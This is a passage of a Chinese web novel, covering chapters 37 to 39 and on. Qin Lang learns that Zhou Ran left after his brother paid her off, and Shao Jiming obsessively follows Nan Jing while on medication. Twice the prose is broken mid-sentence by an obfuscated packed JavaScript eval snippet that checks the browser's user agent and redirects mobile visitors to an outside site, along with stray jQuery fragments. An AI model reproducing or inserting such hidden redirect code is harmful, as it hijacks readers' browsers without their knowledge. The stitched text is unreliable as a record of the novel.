直到第三天下午,最关键的一场听证会结束,初步危机暂时解除,秦朗才觉得紧绷的神经稍微松弛了一些。他走出会议室,第一件事就是拿出手机,想给周冉打个电话。这几天发的最后几条信息,她都没回。 他拨通周冉的号码。 “对不起,您所拨打的电话已关机,请稍后再拨……” 冰冷机械的女声传来。 秦朗皱了皱眉,心里那丝被忽略的不安瞬间放大。关机?周冉很少关机,她的手机就像她人一样,总是保持着一种高效待机的状态。 他连着打了三遍,都是关机。 可能没电了?或者懒得充电?他试图用理性说服自己,但心跳却不受控制地加快了。他点开微信,发了几条信息,又打了微信语音,依旧无人接听。 不对劲。 秦朗立刻驱车赶往他和周冉常去的那套公寓。输入密码,门开,里面一片漆黑寂静。他打开灯,客厅整洁得过分,空气里只有香薰残留的极淡尾调,没有一丝人气。他快步走进卧室,浴室,衣帽间,空无一人。周冉常穿的那几件家居服还在,但梳妆台上,她常用的那支口红不在了。 她走了。 秦朗站在空荡荡的客厅中央,忽然觉得一阵寒意从脚底窜起。他猛地想起三天前离开时那个仓促的吻,想起那个“好”字,想起之后越来越少、直至消失的回复…… 不,不会的。周冉不是那种会因为一次爽约就闹失踪的人。她那么冷静,那么通透…… 他强迫自己镇定,开始拨打南景的电话。等待接通的“嘟嘟”声,每一声都敲在他骤然发慌的心上。 “喂?秦朗?”南景的声音传来。 “南景,”秦朗听到自己的声音有些发紧,他清了清嗓子,“冉冉……在家吗?或者,她有没有联系你?” 电话那头沉默了两秒,南景的声音沉了下来:“没有,她说去散散心。” 散心?秦朗的心沉了下去。周冉从来没跟他提过要“散心”。 “没有吵架,”秦朗快速说道,脑子飞快转动,“三天前晚上,公司有急事我临时走了。之后她回复就很少,今天电话关机,信息不回,公寓里她带走了随身行李……” “她,走了。”南景打断他。 走了?为什么?秦朗挂了电话,像困兽一样在公寓里快速搜寻。他冲到物业中心,亮明身份,要求调看三天前晚上他离开后的监控。 监控画面一帧帧闪过。看到他匆忙离开的身影。半小时后,电梯在公寓楼层停下,一个戴着鸭舌帽和口罩、穿着连帽衫、看不清面容的瘦高身影走了出来,径直走到他们的公寓门前,按响了门铃。 门开了。周冉出现在门口。她和门外的人似乎简短交谈了几句,然后,她侧身让开了门。那个戴帽子的身影走了进去。 大约十五分钟后,公寓门再次打开。周冉走了出来,脸上没什么表情,但脚步很快。那个戴帽子的人跟在她身后半步,也走了出来。两人一前一后,走向电梯,消失在监控画面中。 自始至终,周冉没有回头,没有迟疑。 秦朗死死盯着定格的画面,周冉最后那个消失在电梯口的背影。他握着鼠标的手,手背上青筋迸起。 他猛地转身,冲出物业中心,跑向自己的车。拉开车门坐进去的瞬间,他的手控制不住地颤抖,试了几次才将车钥匙插进锁孔。 发动机轰鸣,跑车如离弦之箭般窜出地下车库。秦朗紧紧握着方向盘,目光死死盯着前方,脑子里一片混乱,只有周冉消失在监控里的那个背影,和那个戴帽子的陌生身影,不断交错闪现。 他去哪儿? 不,是她去哪儿了? 跟谁走的? 为什么? 如果他早知道,三天前转身离开的那个瞬间,就是某种平静终结的开始,他绝对、绝对不会松开握着她的手,哪怕半步。 急促的门铃声在安静的楼道里炸开,一声接一声,毫不间断,彰显着按铃之人的焦灼。门内传来不紧不慢的脚步声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046488|194740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接着,门锁“咔哒”一声打开。南景出现在门口,穿着简单的家居服,头发微湿,似乎刚洗过澡,脸上没什么意外的表情。 秦朗几乎是撞在门框上,胸膛剧烈起伏,眼睛里布满血丝,头发凌乱,西装外套随意地搭在手臂上,领带扯松了,整个人散发着一种连续熬夜后的狼狈与狂躁。他看到南景,劈头就问,声音嘶哑得厉害:“她呢?周冉在哪儿?!” 南景的目光在他脸上停留了一瞬,侧身让开通道:“先进来再说。” 秦朗一步跨了进来,鞋也没换。南景在他身后轻轻关上了门。 “坐。”南景走到沙发边,示意了一下,自己则转身去倒了一杯温水,放在秦朗面前的茶几上。“喝点水。” 秦朗没看那杯水。 “你知道她在哪儿,对不对?南景,你他妈别骗我!你一点都不着急,你肯定知道!” 南景在旁边的单人沙发上坐下。 “我不知道。” “你不知道?!”秦朗“霍”地站起身,俯视着南景,“你怎么可能不知道?!你是她哥!她最信任的人!她突然消失,手机关机……她肯定联系过你!南景,你告诉我,她去哪儿了?!” 南景看着他因为激动神情,沉默了几秒,才说道:“我真不知道她具体去了哪个国家。她只跟我说,要出国散散心,到了地方,安顿下来,会联系我。仅此而已。” “什么时候走的?!”秦朗追问。 “今天下午的飞机。”南景看了一眼墙上的挂钟,“这个点,应该还在天上。” “为什么?”他问,“她为什么突然要走?连声招呼都不跟我打?就因为我那天晚上临时离开?南景,你知道的对不对?她走之前,是不是见了什么人?公寓监控里那个戴帽子的……是谁?!” 他语速极快,问题一个接一个。 南景垂下了眼帘,他放在膝盖上的手指,蜷缩了一下。这个微小的动作没能逃过秦朗的眼睛。 沉默在蔓延,每一秒都像在秦朗焦灼的心火上浇油。 “到底见了谁?!”秦朗终于忍不住,猛地一拳砸在旁边的沙发扶手上。他眼眶赤红:“你说话啊!南景!都他妈这个时候了,你还要瞒着我?!你要急死我是不是?!” 南景缓缓抬起头,目光复杂地看了秦朗一眼,终于吐出了一个名字:“秦朔。” 秦朗整个人像是被按下了暂停键,猛地僵住。他张了张嘴,喉咙里发出“嗬”的一声气音,却没能立刻说出话来。 秦朔。 他的弟弟。同父同母的亲弟弟。 “操……”良久,一个干涩的字眼,从秦朗牙缝里挤出来。他像是突然被抽干了所有力气,踉跄着后退一步,跌坐回沙发上,双手插入发间,用力揪扯着自己的头发。几秒钟后,他猛地抬起头,眼底是翻涌的暴怒和一种被至亲之人从背后捅刀般的冰冷。 “秦朔……是他……”秦朗的声音嘶哑,他猛地站起身,就要往外冲,“我他妈找他算账去!” “秦朗。” “冉冉她走之前,让我带句话给你。”南景看着秦朗僵硬的背影,慢慢说道。 秦朗没有回头,背脊绷得笔直,拳头捏得咯咯作响。 南景顿了顿,似乎在斟酌用词,最终,还是用周冉那种平淡到近乎冷酷的原话复述:“她说:不过是一时兴起而已,就别闹那么难看。毕竟,是你家里人。” “一时兴起?”秦朗猛地转过身,眼睛瞪得极大,他指着自己的心口,“放他妈的屁!南景!我对她!从来就不是一时兴起!我他妈是把心掏出来捧给她看的!她怎么能……她怎么能这么说?!秦朔……秦朔跟她说了什么?!他到底做了什么?!” 看着秦朗几乎要崩溃的样子,南景沉默了片刻,然后,他缓缓站起身,走到旁边的桌子上,拿起一张米白色硬纸片。他走回来,将那张纸片,递到了秦朗面前。 秦朗的视线落在那张纸片上。那是一张银行支票。支票的抬头、金额、签章……一切信息都清晰无比。当他看清那个龙飞凤舞的签名和后面那数字,他瞳孔骤然收缩,呼吸猛地一窒。 那是秦朔的签名。而那金额……。 秦朗的目光死死钉在那张支票上,额角的青筋不受控制地暴跳起来,一下,又一下,清晰可见。他脸上的血色瞬间褪得干干净净,连嘴唇都失了颜色,只剩下一种骇人的惨白。 “操。”又一个字,从秦朗紧咬的牙关中迸出,比之前那声更沉,更冷,带着一种山雨欲来的暴怒。 他猛地将那支票攥紧在手心,纸张瞬间皱成一团。 他没有再说一句话,猛地转身,大步流星地朝着门口走去,步伐又重又急。 “南景。有她的消息了,告诉我一声。” “嗯。” 38. 跟踪狂人,小明同学 几天后,一场规格颇高的行业创新交流会在某五星酒店举办。衣香鬓影,低声交谈与酒杯轻碰声交织。南景作为新锐投资机构的代表出席,正站在相对安静的落地窗边,握着手机与周冉通话。 “我可是听说了啊,秦朔被秦朗打进医院了,肋骨断了两根,脸肿得没法看。你该消气了吧?十万块的羞辱费,秦朗用拳头连本带利还了。” 电话那头传来周冉懒洋洋的轻笑腰:“他活该。拿钱砸人,也不看看砸的是谁。秦朗下手倒是没留情。” “真不打算回来?”南景问。 “不啊,”周冉答得干脆,“这边阳光挺好,沙滩也软,帅哥养眼。男人嘛,可以有,也可以没有,姐现在觉得没有更清净。你呢?什么时候飞过来?说好陪我度假的,别放鸽子。” “明天晚上的航班。” “行,航班号发我,到时候去机场接你。” 南景收起手机。周冉是喜欢秦朗的,他感觉得到。但喜欢,在现实的重重壁垒面前,有时显得如此无力。秦家的态度,那赤裸裸的门第之见,像一盆冰水,浇熄的可能不止是热情。灰姑娘的故事之所以是童话,大概就是因为现实中,水晶鞋的尺码和匹配的家庭背景,往往比午夜钟声更难跨越。 他微微摇头,将一丝淡淡的感慨抛开,转身准备回到自己的座位。刚才通话时,他顺手将喝了半瓶的矿泉水放在了窗边的小圆几上。此刻,圆几上空空如也。南景脚步顿了顿,目光扫过光洁的桌面,又瞥了眼不远处端着托盘穿梭的侍者。大概是被哪个勤快的服务生收走了吧。他想,并未在意,径直走向会场中心。 那半瓶水,透明,普通。它被一只骨节分明、却过分苍白消瘦的手,极其迅速地、带着一种做贼般的颤抖和难以抑制的急切,从小圆几上捞走了。 邵既明背靠着冰冷的大理石柱,他将那半瓶水紧紧攥在手里,他能清晰地看到瓶口处,那隐约因为被含过而显得格外湿润的痕迹,以及里面晃动着还剩一小半的透明液体。 会场的光线被柱子挡住大半,将他笼罩在昏暗里。他像个躲在阴暗处见不得光的菌类,贪婪地凝视着手中的瓶子。鼻尖甚至不由自主地凑近瓶口,就是一口的顶级过肺。 他环顾四周,确认无人注意这个角落。 他拧开瓶盖。 他仰起头,将瓶口对准自己的嘴唇。他的嘴唇颤抖着,覆盖在了瓶口那片被南景嘴唇浸润过的区域。然后,他闭上眼,极其缓慢地、一小口、一小口地,吞咽着里面所剩不多的水。 他在喝“他”喝过的水,间接地,以一种最卑微、最不堪的方式,完成一次想象中的亲吻,一次偷来的亲密接触。这行为让他恶心自己,却又像吸毒者渴求毒品一样,无法自拔。 直到瓶底最后一滴水被他舔舐干净。 就在这时,交流会主办方的工作人员笑容满面地引着几位贵宾走向休息区,其中就包括南景。似乎是为了介绍新朋友,工作人员正热情地促成一次简单的寒暄。 邵既明猛地抬起头,透过指缝,看到南景正朝这个方向走来。 他不能永远躲在阴影里。他需要一点点真实的接触,哪怕只是指尖相触的零点一秒。 他飞快地整理了一下根本不存在褶皱的西装,用手背狠狠抹了一把脸,强迫自己挤出一个勉强算是正常的笑容。他深呼吸,再深呼吸,然后迈着有些虚浮但竭力稳健的步伐,朝着南景和那位工作人员的方向走去。 “南景,好久不见。”他主动开口,声音有些发紧,但还算清晰,伸出了右手。 南景闻声转过头,看到邵既明,脸上闪过一丝讶异,随即恢复了惯常的礼貌性微笑,也伸出了手:“邵总,幸会。” 两只手握在了一起。 邵既明的手冰冷,潮湿,微微颤抖。南景的手干燥,温暖,稳定,一触即分,是标准的商务握手礼仪,持续时间不超过两秒。 但对邵既明来说,那两秒如同一个世纪。他所有的感官都集中在了相触的掌心。南景手指的温度,皮肤的触感,那温和却疏离的力道……像一道微弱的电流,瞬间窜过他冰凉的四肢百骸,带来一阵酥麻。他贪婪地汲取着这短暂的接触,却又在对方松开手的瞬间,感到一阵灭空虚和失落。 “听说邵氏最近在人工智能医疗领域有新的布局?”南景随口寒暄,语气平淡,目光已经准备移开。 “是,是有些尝试……”邵既明机械地回答着,大脑一片空白,所有的注意力都还在回味刚才那一握。他费尽心机,动用关系,只为这光明正大短短两秒的握手。 他像个好不容易偷到一点点糖的孩子,却知道这糖是苦的,是偷来的,吃完之后只会更饿,更渴望,也更清楚地知道,自己永远不配拥有那整罐的甜蜜。 握手结束,寒暄继续。南景很快被其他人吸引注意力,转身融入交谈的人群。邵既明站在原地,看着那个挺拔的背影,将刚才与南景相握的右手抬起,凑到自己的鼻尖,深深地吸了一口气。 什么都没有。只有自己手心的汗味,和残留的一点点,属于会场香氛的甜腻。 他放下手,眼神重新变得空洞。 行业交流会进入中场休息时段。人群从主会场逐渐分流至宽敞的休息区与相连的露天平台。南景刚与一位专家简短交流完毕,正想寻个稍微安静的角落喘口气,一转身,却差点与身后不知站了多久的人撞上。 是邵既明。 他站在一盆高大的散尾葵旁,身形在绿植的阴影下更显单薄,深色的西装妥帖,但穿在他身上,肩线处仍有细微的空荡。他手里端着一杯清水,手指紧紧握着杯壁。看到南景转身,他瞳孔收缩了一下,随即迅速调整表情,试图扯出一个算是轻松的笑容,但嘴角的弧度僵硬,像是许久未使用的生锈铰链。 “南景。”他先开口,声音有些干,清了清嗓子才继续说,“刚才人多,没来得及多说。你最近……项目还顺利?” 很安全、很商务的开场白。但南景的目光在他脸上停留了一瞬。不过月余未见,邵既明的憔悴似乎更甚。脸色是一种缺乏阳光的苍白,眼下的乌青即使用了心遮掩,在近距离下依然明显。最重要的是他的眼神,看似聚焦在南景脸上,深处却有一种游离的空洞。 “还好,按部就班。”南景点了点头。他目光扫过邵既明手中的水杯,又回到他脸上,“邵总看起来气色似乎不如之前,最近很忙?” 一句普通的、甚至带点客套关怀的询问,却让邵既明握着杯子的手都地抖了一下。他像是被戳中了某个极力掩饰的痛点,眼神瞬间闪过一丝慌乱,但立刻被更用力的“镇定”覆盖。 “还好,是有点……季节性过敏,晚上睡不太好。”他语速略快,像在背诵提前想好的借口,甚至下意识抬手,虚虚掩了下口鼻,仿佛真有不适。然而这个动作反而让他左手腕从西装袖口露出了一小截,那里,靠近腕骨内侧,有一道新鲜的、颜色尚深的细长划痕,像是被什么尖锐物品不慎刮到,虽然不深,但在过分苍白的皮肤上格外刺眼。 南景的目光在那道伤痕上停顿了不到半秒,随即自然移开,并未点破。他只是微微颔首:“多注意休息。身体是根本。” 这句平淡的关心,听在邵既明耳中,激起的不是暖意,而是更汹涌的酸楚和自我厌弃。他多想告诉南景,他不是过敏,是吃药后的副作用和持续的失眠心悸;他手腕的伤不是意外,是某天情绪彻底崩溃时,无意识抓挠留下的痕迹;他每天都在努力“注意”,可“休息”对他而言已是奢侈品,闭上眼就是无尽的黑暗。 但他什么都不能说。他只能更紧地握住水杯,让那几乎要脱口而出的脆弱哽咽死死压在喉咙里。他努力让自己的声音听起来平稳。 “嗯,会的。你也是,别总熬夜看项目。”这句话说完,他自己都愣了一下。太过熟悉属于过去的南景叮嘱口吻,不经意间溜了出来。他立刻感到一阵难堪,下意识地抿紧了嘴唇,眼神飘向一旁,不敢再看南景的表情。 南景似乎并未在意他这细微的失态,只是很淡地“嗯”了一声,算是回应。 邵既明感到一阵窒息般的恐慌。他害怕沉默,沉默会让他失控,会让那些拼命压抑的东西找到缝隙钻出来。他急需说点什么来填补这令人心慌的空白,目光胡乱扫视,最终落在南景手中同样拿着的一杯苏打水上。 “你……不喝酒?”他问,一个愚蠢的问题。 “嗯,待会儿还要开车。”南景答得简单。 “对,安全第一。”邵既明干巴巴地附和,大脑飞速运转,寻找下一个话题,却只觉得一片空白。他感到熟悉的眩晕感开始上涌,视线边缘有些发花,胸口也闷闷地发疼。是了,今天为了能“正常”出席,他加大了药量,副作用此刻正悄然袭来。 他必须立刻离开,找个没人的地方,把口袋里那个小药盒里的药片吞下去。他不能在南景面前失态,不能让他看到自己这副需要靠药物才能维持基本体面的鬼样子。 “那个……”邵既明的声音开始有些微颤,他强行稳住,“我那边还有个朋友要打招呼,先……” 话没说完,一阵更猛烈的眩晕袭来,他身体轻微地晃了一下,为了稳住重心,脚下下意识挪了半步,却正好撞到身后经过的侍者。侍者手中的托盘一斜,几杯香槟剧烈晃动,虽然没洒,但清脆的碰撞声引得附近几人侧目。 邵既明脸色“唰”地一下更白了,连那点强撑的血色也褪得干净。他几乎是仓皇地后退,迭声道歉:“对不起,抱歉……”手指慌乱地伸进口袋,想去摸那个药盒,指尖却因为颤抖几次都没能准确探入。 南景将他这一系列狼狈尽收眼底。那苍白的脸,晃动的身体,不受控制颤抖的手指,以及眼中一闪而过的恐慌……这绝不仅仅是没睡好或过敏能解释的。 在南景来得及做出任何反应或询问之前,邵既明已经猛地转过身,几乎是踉跄着,朝着与人群相反的方向,通往洗手间和紧急通道的僻静走廊,快步走去。他的背影僵硬,步伐凌乱,透着一股强弩之末的仓皇。 南景站在原地,看着那个迅速消失在走廊拐角瘦削踉跄的背影,眉头皱起。他想起刚才看到的那道新鲜伤痕,想起邵既明过分苍白的脸色和眼底的绝望空洞,想起秦朗之前隐晦提过的“他在治疗”…… 一阵极其微弱类似于叹息的情绪,在南景心底划过,快得来不及捕捉。他早已将这个人从自己的情感世界里彻底删除,过去的爱恨都已封存。但此刻,目睹一个曾经熟悉的人,以如此明显的不健康状态,近乎狼狈地逃离,一种超越私人恩怨最基本的人道关怀,让他无法完全无动于衷。 但也仅此而已。 他不会追上去。不会询问。不会给予任何超出社交礼仪的关怀。那不再是他该涉足的领域。一个合格的前任,就该像死了一样安静,而一个清醒的现任自我,更应懂得保持距离。 他只是又站了几秒,然后平静地移开视线,端起自己的苏打水,抿了一口。他转身,重新走向人群中那些值得关注的项目、数据和未来,将方才那短暂插曲带来的细微波澜,连同那个仓皇逃离的背影,一起留在了身后。 至于邵既明…… 僻静无人的消防通道里,他背靠着冰冷粗糙的水泥墙,身体因为脱力和药效未完全发作前的难受而缓缓滑坐下去。颤抖的手终于摸出了那个白色的小药盒,哆哆嗦嗦地倒出两片药,也顾不上找水,就那么干咽下去。苦涩的药片刮过喉咙,带来一阵恶心。他将脸埋进屈起的膝盖,大口大口地喘着气,额头上全是细密的冷汗,后背的衬衫也被冷汗浸湿了一片。 刚才……南景看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046489|194740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了吧?看到他晃了一下,看到他失措的样子……他会不会觉得……更恶心了? 这个念头让他胃里一阵翻搅。他用力闭上眼睛,死死咬住下唇,直到尝到血腥味,才勉强压下喉间的呜咽。 他吃了药,努力调整呼吸,等待那阵眩晕和心悸过去。脑海里却反复回放着刚才南景看他的眼神,平静,疏离,还是怜悯? 哪一种都让他痛不欲生。 那两片白色的小药片像带着倒钩,缓慢地沉入他混乱的血液,开始发挥效力。最初的心悸和眩晕被一种弥漫性的麻木感取代,像是整个灵魂被浸入了粘稠冰冷的沥青,思考变得迟滞,情绪的剧烈波动被强行压平成一片茫然的钝痛。呼吸渐渐平缓,但每一次吸气都带着胸腔深处细微药物作用下的酸涩感。冷汗慢慢收了,但皮肤冰凉。 他不知道自己在那里坐了多久。直到外面交流会隐约的喧哗彻底散去,走廊重新归于寂静,他才靠着墙壁,有些吃力地站起来。双腿发软,脚步虚浮,像是踩在厚厚的棉花上。他整理了一下皱巴巴的西装外套,将领带扯得更松些,试图让自己看起来不那么像刚从某个灾难现场爬出来。但镜面般光洁的通道防火门上,映出的那张脸依旧惨白如纸,眼神涣散,唇上被自己咬破的地方已经凝结成暗红的小点。 他不能久留。该离开了。 通往地下停车场需要穿过一段安静无人的内部走廊,然后乘电梯下行。药效让他的感知有些隔膜,周围的一切,冰冷的金属电梯壁,不断跳动的楼层数字,电梯运行的低沉嗡鸣,都显得遥远而不真实。只有心脏在药物作用下缓慢而沉重地搏动,提醒他自己还活着,以一种近乎行尸走肉的方式。 电梯“叮”一声抵达地下二层。停车场空旷安静,照明并不充分,远处几盏日光灯有些接触不良,明明灭灭,在水泥柱和车辆上投下变幻不定的阴影。他的车停在较远的角落。 他低着头,沿着车道边缘,慢慢地朝那个方向走去。脚步声在空旷的空间里产生轻微的回响,更添寂寥。药力让他的注意力无法集中,视线有些模糊,只是机械地挪动脚步。 就在他经过一根粗大的承重柱时,斜前方一辆白色轿车的驾驶座车门突然打开了。 他似乎是刚结束交流会,准备离开。他手里拿手机在看什么。他一抬头,目光恰好与几米外、正怔怔望过来的邵既明撞个正着。 两人都愣了一下。 邵既明僵在原地。药效带来的麻木感被这突如其来的相遇撕开一道口子。他想逃,脚却像钉在了地上。他想低头避开视线,眼睛却不听使唤地黏在南景脸上。他想扯出一个表示“我没事”、“我很正常”的笑容,面部肌肉却僵硬得不听使唤,只扭曲成一个比哭还难看的、颤抖的弧度。 南景显然也没料到会在这里,以这种方式再次遇到邵既明。他目光在邵既明过分苍白的脸、失焦的眼神、以及唇上那点碍眼的血痂上快速扫过。刚才在休息区邵既明仓皇离开的背影还历历在目,此刻近距离看来,他的状态似乎更差了。 短暂的沉默。 最终,是南景先打破了这令人窒息的凝固。 “邵总,你……没事吧?” 很简单的询问。没有称呼“既明”,是疏离的“邵总”。但语气里那点点极淡的关切,像一根极其细微的针,轻轻刺破了邵既明用药物和意志力勉强维持的脆弱外壳。 邵既明的喉咙剧烈地滚动了一下。他想说“没事”,想说“很好”,想说“不劳费心”。但干涩的嘴唇张了张,只发出一点气音。药效让他的舌头也有些发木,思维迟缓。他最终只是很慢、很慢地摇了摇头。 摇头代表“没事”?还是代表“不好”?他自己也说不清。 南景看着他这幅连话都说不出来的样子,目光又落在他微微颤抖的手指和毫无血色的脸上。那眼神里的担忧的意味更重了些,但依旧没有逾越的探询。他沉默了几秒,似乎在斟酌用词,然后才开口:“如果需要帮忙叫代驾,或者……需要联系谁,我可以……” “不、不用!”邵既明猛地打断他,声音嘶哑急促,带着明显的抗拒和慌乱。“我……自己可以。我没事。真的。” 他强调着“没事”,却连站姿都有些摇晃。他下意识地挺直了背,想让自己看起来可靠些,但这个动作反而让他因为虚弱地晃了一下,连忙伸手扶住了旁边冰冷的水泥柱。 南景将他这些小动作尽收眼底。他没有再坚持提出帮助,只是点了点头:“好。那你路上小心。” 说完,他不再停留,也没有再多看邵既明一眼,转身走向自己车的驾驶座。 邵既明靠在冰冷的水泥柱上,看着南景拉开车门,坐进去,关上门。发动机启动的声音在停车场里低低响起,车前灯亮起,两道冷白的光柱刺破昏暗,扫过他的脚边,然后缓缓调转方向。 车子经过他身边时,速度很慢。驾驶座的车窗是深色的,他看不到里面南景的表情。但他能感觉到,有一道目光,或许只是无意识的瞥视,透过车窗,短暂地落在他身上。 然后,车子加速,驶向出口,尾灯的红光在转弯处一闪,消失不见。 停车场重新陷入昏暗与寂静。 邵既明依旧靠着那根水泥柱,许久没有动弹。 他知道,南景的温和是教养,是礼貌,是出于基本人道的不忍,独独不是留恋,不是原谅,更不是可能。 他慢慢滑坐下去,坐在冰冷的水泥地上,将脸埋进掌心。这一次,没有眼泪。药物抽干了他激烈的情感,只剩下无尽的空洞。 他坐在那里,在昏暗的停车场角落,像一件被遗忘的、逐渐失去温度的旧物。直到手机设定提醒他该吃下一顿药的闹钟响起,他才浑身一颤,如梦初醒般,挣扎着爬起来,踉踉跄跄地,朝着自己停车的位置走去。 39. 啧,都跑了,闻总出手了啊 秦朗几乎是踹开邵既明那栋冰冷别墅大门的。西装外套随意搭在臂弯,衬衫领口扯开,头发凌乱,与几个小时前在交流会上从容周旋的模样判若两人。他像一阵裹着雷暴的狂风,径直卷向二楼书房。 门虚掩着,昏黄的光从门缝渗出。秦朗猛地推开门—— 画面与他上次撞见时几乎重叠。邵既明背对着门口,蜷坐在那张宽大的扶手椅里,台灯投下孤独的光圈。他面前的书桌上,那些被擦拭得异常洁净、如同圣物般陈列的玻璃杯,在灯光下闪烁着冰冷脆弱的光。邵既明一动不动,只是垂眸凝视着其中一只,侧脸在光影中瘦削得近乎嶙峋,眼神空洞。 这副景象,此刻在秦朗火烧火燎的心里,无异于火上浇油。 “邵、既、明!”秦朗从牙缝里挤出这个名字。他几个大步跨过去,目光扫过那排刺眼的杯子,最后落在邵既明那张苍白麻木的脸上,胸口那股邪火再也压不住,抬手就要朝那桌子掀去,“你他妈还对着这些破杯子发呆!人都他妈不见了!!” 就在他手掌即将碰到桌沿的瞬间,邵既明骤然暴起!他像是被触动了最核心的防御机制,以惊人的速度和力道,猛地转身,用自己单薄的身体死死扑在那堆杯子上,双臂张开,牢牢护住。他抬起头,脸上是猝不及防的惊恐和一种濒死的捍卫,眼泪几乎是瞬间就涌了出来,大颗大颗砸在冰冷的玻璃杯壁上。 “别!哥!别砸!求你了!”他声音破碎,哭得浑身剧烈颤抖,几乎喘不上气,语无伦次地重复,“就剩这些了……真的就剩这些了……我求你……别拿走……没有它们……我会死的……我真的会死的啊哥……” 他哭得撕心裂肺,那崩溃绝望的模样,不再是商场上那个冷静自持的邵总,甚至不像个成年人,只是一个被剥夺了所有慰藉、即将彻底碎裂的脆弱灵魂。 秦朗高举的手僵在半空,看着弟弟这副模样,满腔的怒火像被泼了一盆冷水,咝咝地熄灭。他最终颓然放下手,后退一步,烦躁地扒拉了一下头发,从喉咙深处挤出一句低吼:“你没救了!邵既明,你他妈真是没救了!” 他喘着粗气,在书房里烦躁地踱了两步,猛地转身,再次瞪向依旧抱着杯子发抖、眼泪未干的邵既明。 “人呢?啊?!你不是成天神出鬼没地盯着他吗?周冉还没找到,南景也他妈不见了!怎么着,一个个都商量好了,喜欢玩失踪这套是吧?!当我秦朗是死的?!”他越说越急,想到周冉可能去的任何地方都没有消息,南景也联系不上,那种失控的感觉让他心脏发慌。 邵既明被他吼得瑟缩了一下,但抱着杯子的手丝毫未松。他抬起泪眼模糊的脸,看着暴怒的秦朗:“我……没盯着他。” “你没盯着他?!”秦朗气结,手指几乎要点到邵既明鼻子上,“你放屁!只要南景出现的地方,十次有十次能看到你的影子!跟个背后灵似的!你现在跟我说没盯着?!” 邵既明缓慢地摇了摇头,眼神有些空茫,焦点并不在秦朗愤怒的脸上。“最近……没有。药……吃了容易困。也……不敢跟太近。”他顿了顿,声音低了下去,“怕……又像上次那样……被他看到……更难看。” 秦朗一噎,想起停车场那次邵既明几乎站不稳的样子,心里那点火气又被更深的担忧取代。他烦躁地挥挥手,像是要挥开这令人窒息的局面:“行了!现在说这些有屁用!找!发动所有人脉,国内国外,掘地三尺也得给我把人找出来!我就不信了,两个大活人,还能凭空消失不成!” 他话音刚落,一直低着头、情绪低落的邵既明忽然猛地抬起头,那双空洞的眼睛里骤然迸发出一种异常执拗的、甚至带着点阴郁骇人的光,死死盯住秦朗,声音又低又急:“哥!你也找找南景……求你了!你国外人脉多……帮我找找他……一定要找到他!” 那眼神里的偏执和阴郁让秦朗心头一凛。他仔细看着邵既明,这才发现,不过短短时日,邵既明眼下的乌青几乎蔓延到颧骨,脸颊凹陷得更厉害,整个人透着一股行将就木的灰败之气。听说南景也失踪后,那原本就摇摇欲坠的精神状态,恐怕是直接从中度滑向重度了。 他走到邵既明面前,蹲下身,让自己的视线与他平齐。秦朗难得收敛了所有暴躁,眉头皱得死紧,眼神复杂地看着自己这个仿佛一碰就碎的弟弟,放慢了语速:“邵既明,你听我说啊。你不是说,南景最近……跟你说话了,对吗?在交流会上,他还问你是不是没事。” 邵既明怔怔地看着他,很轻地点了下头。 “那是因为,”秦朗盯着他的眼睛,语气带着一种近乎催眠般的肯定,“你那个时候,状态看起来比现在好!至少……像个能正常说话、正常站着的人!所以他才会出于基本的……礼貌,跟你说话。你明白吗?” 邵既明瞳孔微微颤动,似乎听进去了。 “你得先把自己弄好!”秦朗加重了语气,伸手,用力按了按邵既明瘦削的肩膀,“好好吃药,按时去看医生,吃饭,睡觉!哪怕是为了……万一找到他的时候,你能有个人样站在他面前,而不是像现在这样,风吹就倒,让他看了更……”秦朗硬生生把“厌恶”两个字咽回去,换了个稍微温和点的说法,“……更觉得你需要被送进医院,而不是可以被正常对待的人。懂吗?你得先看起来值得他……至少愿意跟你平心静气说句话。” 这番话,半是实情,半是秦朗此刻能想到的、唯一可能者说暂时稳住邵既明的方法。 邵既明呆呆地看着秦朗,嘴唇嗫嚅了几下,眼神里的阴郁和偏执在秦朗坚定,甚至有些凶狠的注视下,慢慢退潮,然后是一种更深的茫然和被植入渺茫的希望”。他很慢、很用力地点了点头,重复道:“我吃药……看医生……好好的……” “对,好好的。”秦朗松了口气,拍拍他的肩,站起身。 他走到书房窗边,深吸一口气,努力让自己冷静下来。然后,他拿出手机,从通讯录里翻出一个极少拨通、但关键时刻或许能起作用的号码。屏幕上的名字是——闻律修。 电话拨出去,等待接通的“嘟嘟”声在寂静的书房里格外清晰。邵既明依旧蜷在椅子里,抱着他的杯子,但目光却紧紧追随着秦朗。 响了五六声,就在秦朗以为无人接听时,电话通了。 那头传来一个低哑略带磁性的男声:“嗯?秦少?” “喂,律修,得请你帮个忙。” “还有事情需要我帮忙的?” 秦朗握紧了手机,看着窗外沉沉的夜色,语气是前所未有的凝重和直接,没有了平日的半点玩世不恭: “昂。找两个人。” 接下来的日子,像在走一根绷到极致的钢丝。邵既明确实“乖乖”的。白色的小药片按时吞下,每周两次的心理咨询雷打不动,私人医生上门监测的指标数据被仔细记录。他甚至会主动报告“今天睡了四小时”、“午餐吃了一小碗粥”。但所有人都知道,这“乖顺”之下,是更深的坍塌。他的精神像一间被蛀空的华丽屋宇,外表勉强维持着框架,内里早已朽烂不堪。 